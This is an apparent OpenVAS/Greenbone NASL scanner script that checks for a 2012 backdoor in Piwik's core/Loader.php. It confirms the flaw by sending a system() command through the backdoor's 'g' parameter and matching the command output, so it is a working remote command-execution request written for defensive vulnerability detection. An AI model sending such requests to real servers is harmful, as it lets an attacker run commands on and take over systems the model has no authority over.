Backdoor in Piwik analytics software

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:piwik:piwik";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103611");
  script_version("2023-07-25T05:05:58+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_name("Backdoor in Piwik analytics software");
  script_xref(name:"URL", value:"http://piwik.org/blog/2012/11/security-report-piwik-org-webserver-hacked-for-a-few-hours-on-2012-nov-26th/");
  script_xref(name:"URL", value:"http://forum.piwik.org/read.php?2,97666");

  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-11-27 13:36:59 +0100 (Tue, 27 Nov 2012)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("sw_piwik_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("piwik/installed");

  script_tag(name:"solution", value:"See the References.");
  script_tag(name:"insight", value:"The Backdoor is in 'core/Loader.php' and create also the files:

 lic.log
 core/DataTable/Filter/Megre.php");
  script_tag(name:"summary", value:"A backdoor has been added to the web server analytics Piwik which
 allows attackers to take control of a system.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if (dir == "/") dir = "";

cmds = exploit_commands();

foreach cmd (keys(cmds)) {

  url = dir + "/core/Loader.php?s=1&g=system('" + cmds[cmd]  + "')";

  if(http_vuln_check(port:port, url:url, pattern:cmd)) {

    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
   }
}

exit(99);